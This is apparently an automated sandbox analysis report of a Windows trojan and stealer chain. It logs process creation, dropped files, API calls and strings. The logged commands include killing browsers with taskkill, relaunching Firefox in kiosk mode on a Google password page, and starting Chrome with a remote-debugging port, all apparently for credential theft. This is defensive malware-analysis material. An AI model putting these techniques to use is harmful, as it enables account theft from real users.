Source: 92f830ff9f.exe, 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_e71ec08e-0

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: random[2].exe.4.dr	Static PE information: section name:
Source: random[2].exe.4.dr	Static PE information: section name: .idata
Source: b70a2b69d1.exe.4.dr	Static PE information: section name:
Source: b70a2b69d1.exe.4.dr	Static PE information: section name: .idata
Source: 847b1b04ba.exe.4.dr	Static PE information: section name:
Source: 847b1b04ba.exe.4.dr	Static PE information: section name: .idata
Source: 847b1b04ba.exe.4.dr	Static PE information: section name:
Source: random[1].exe.4.dr	Static PE information: section name:
Source: random[1].exe.4.dr	Static PE information: section name: .idata
Source: random[1].exe.4.dr	Static PE information: section name:
Source: 7acf96002d.exe.4.dr	Static PE information: section name:
Source: 7acf96002d.exe.4.dr	Static PE information: section name: .idata
Source: 7acf96002d.exe.4.dr	Static PE information: section name:
Source: random[1].exe1.4.dr	Static PE information: section name:
Source: random[1].exe1.4.dr	Static PE information: section name: .rsrc
Source: random[1].exe1.4.dr	Static PE information: section name: .idata
Source: random[1].exe1.4.dr	Static PE information: section name:
Source: 01806ad967.exe.4.dr	Static PE information: section name:
Source: 01806ad967.exe.4.dr	Static PE information: section name: .rsrc
Source: 01806ad967.exe.4.dr	Static PE information: section name: .idata
Source: 01806ad967.exe.4.dr	Static PE information: section name:
Source: random[1].exe2.4.dr	Static PE information: section name:
Source: random[1].exe2.4.dr	Static PE information: section name: .idata
Source: random[1].exe2.4.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Process Stats: CPU usage > 49%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process Stats: CPU usage > 49%

Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe

Code function: 11_2_0064D5EB: CreateFileW,DeviceIoControl,CloseHandle,

11_2_0064D5EB

Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe

Code function: 11_2_00641201 LogonUserW,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,GetProcessHeap,HeapFree,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

11_2_00641201

Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe

Code function: 11_2_0064E8F6 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,

11_2_0064E8F6

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Code function: 11_2_005EBF40	11_2_005EBF40
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Code function: 11_2_00652046	11_2_00652046
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Code function: 11_2_005E8060	11_2_005E8060
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Code function: 11_2_00648298	11_2_00648298
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Code function: 11_2_0061E4FF	11_2_0061E4FF
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Code function: 11_2_0061676B	11_2_0061676B
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Code function: 11_2_00674873	11_2_00674873
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Code function: 11_2_005ECAF0	11_2_005ECAF0
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Code function: 11_2_0060CAA0	11_2_0060CAA0
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Code function: 11_2_005FCC39	11_2_005FCC39
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Code function: 11_2_00616DD9	11_2_00616DD9
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Code function: 11_2_005FB119	11_2_005FB119
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Code function: 11_2_005E91C0	11_2_005E91C0
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Code function: 11_2_00601394	11_2_00601394
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Code function: 11_2_0060781B	11_2_0060781B
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Code function: 11_2_005F997D	11_2_005F997D
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Code function: 11_2_005E7920	11_2_005E7920
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Code function: 11_2_00607A4A	11_2_00607A4A
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Code function: 11_2_00607CA7	11_2_00607CA7
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Code function: 11_2_0066BE44	11_2_0066BE44
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Code function: 11_2_00619EEE	11_2_00619EEE

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe CB9F29A62F2F969A423FC32A9179C8E6810984F62ACC624096D6CF844AD6F6A0

Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Code function: String function: 005FF9F2 appears 40 times
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Code function: String function: 005E9CB3 appears 31 times
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Code function: String function: 00600A30 appears 46 times

Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2052 -s 1608

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9980894499318801
Source: file.exe	Static PE information: Section: enxqmdvy ZLIB complexity 0.9949439031591378
Source: skotes.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9980894499318801
Source: skotes.exe.0.dr	Static PE information: Section: enxqmdvy ZLIB complexity 0.9949439031591378
Source: 847b1b04ba.exe.4.dr	Static PE information: Section: ZLIB complexity 0.9993084016393443
Source: 847b1b04ba.exe.4.dr	Static PE information: Section: prornizb ZLIB complexity 0.9944696162046909
Source: random[1].exe.4.dr	Static PE information: Section: eertlowe ZLIB complexity 0.9950974354922665
Source: 7acf96002d.exe.4.dr	Static PE information: Section: eertlowe ZLIB complexity 0.9950974354922665
Source: random[1].exe1.4.dr	Static PE information: Section: ajtwcbtw ZLIB complexity 0.9946400542237442
Source: 01806ad967.exe.4.dr	Static PE information: Section: ajtwcbtw ZLIB complexity 0.9946400542237442
Source: random[1].exe2.4.dr	Static PE information: Section: ZLIB complexity 0.9993084016393443
Source: random[1].exe2.4.dr	Static PE information: Section: prornizb ZLIB complexity 0.9944696162046909

Source: 847b1b04ba.exe.4.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: 01806ad967.exe.4.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: random[1].exe1.4.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: random[1].exe2.4.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: file.exe	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: skotes.exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@96/20@70/15

Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe

Code function: 11_2_006537B5 GetLastError,FormatMessageW,

11_2_006537B5

Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Code function: 11_2_006410BF AdjustTokenPrivileges,CloseHandle,		11_2_006410BF
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Code function: 11_2_006416C3 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		11_2_006416C3

Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe

Code function: 11_2_006551CD SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

11_2_006551CD

Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe

Code function: 11_2_0064D4DC CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

11_2_0064D4DC

Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe

Code function: 11_2_0065648E _wcslen,CoInitialize,CoCreateInstance,CoUninitialize,

11_2_0065648E

Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe

Code function: 11_2_005E42A2 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

11_2_005E42A2

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4416:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Mutant created: NULL
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5196:64:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4064:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7648:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess2052
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7560:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3784:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7704:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7772:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3568:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2544:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5884:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Program Files\Mozilla Firefox\firefox.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: 7acf96002d.exe, 0000000A.00000002.2929373809.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 7acf96002d.exe, 0000000A.00000002.2926237332.000000001DA9C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: 7acf96002d.exe, 0000000A.00000002.2929373809.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 7acf96002d.exe, 0000000A.00000002.2926237332.000000001DA9C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: 7acf96002d.exe, 0000000A.00000002.2929373809.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 7acf96002d.exe, 0000000A.00000002.2926237332.000000001DA9C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: 7acf96002d.exe, 0000000A.00000002.2929373809.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 7acf96002d.exe, 0000000A.00000002.2926237332.000000001DA9C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: 7acf96002d.exe, 0000000A.00000002.2929373809.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 7acf96002d.exe, 0000000A.00000002.2926237332.000000001DA9C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: 7acf96002d.exe, 0000000A.00000002.2929373809.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 7acf96002d.exe, 0000000A.00000002.2926237332.000000001DA9C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: 7acf96002d.exe, 0000000A.00000002.2929373809.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 7acf96002d.exe, 0000000A.00000002.2926237332.000000001DA9C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: 01806ad967.exe, 00000007.00000003.3167294334.0000000007805000.00000004.00000020.00020000.00000000.sdmp, 01806ad967.exe, 00000007.00000003.3165327128.00000000077F1000.00000004.00000020.00020000.00000000.sdmp, 847b1b04ba.exe, 0000000E.00000003.2809882908.0000000005363000.00000004.00000800.00020000.00000000.sdmp, 847b1b04ba.exe, 0000000E.00000003.2758914809.0000000005378000.00000004.00000800.00020000.00000000.sdmp, 847b1b04ba.exe, 0000000E.00000003.2803641948.0000000005370000.00000004.00000800.00020000.00000000.sdmp, 847b1b04ba.exe, 0000000E.00000003.2759919401.000000000535A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: 7acf96002d.exe, 0000000A.00000002.2929373809.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 7acf96002d.exe, 0000000A.00000002.2926237332.000000001DA9C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: 7acf96002d.exe, 0000000A.00000002.2929373809.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 7acf96002d.exe, 0000000A.00000002.2926237332.000000001DA9C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);

Source: file.exe

ReversingLabs: Detection: 55%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 01806ad967.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 847b1b04ba.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 7acf96002d.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe "C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe "C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe "C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe "C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe"
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe "C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe"
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2376 --field-trial-handle=2136,i,3555858156391927217,5472966938695166006,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2308 -parentBuildID 20230927232528 -prefsHandle 2244 -prefMapHandle 2220 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {8933ed6b-7c20-48c8-85a4-b2c0216a6aa6} 1976 "\\.\pipe\gecko-crash-server-pipe.1976" 2ae9bf6f110 socket
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe "C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3440 -parentBuildID 20230927232528 -prefsHandle 4180 -prefMapHandle 4176 -prefsLen 26265 -prefMapSize 238690 -appDir "C:\Program Files\Mozilla Firefox\browser" - {2540b340-fb7a-4163-990f-769b33af6a3c} 1976 "\\.\pipe\gecko-crash-server-pipe.1976" 2aeae42fa10 rdd
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe "C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe"
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2052 -s 1608
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe "C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe"
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
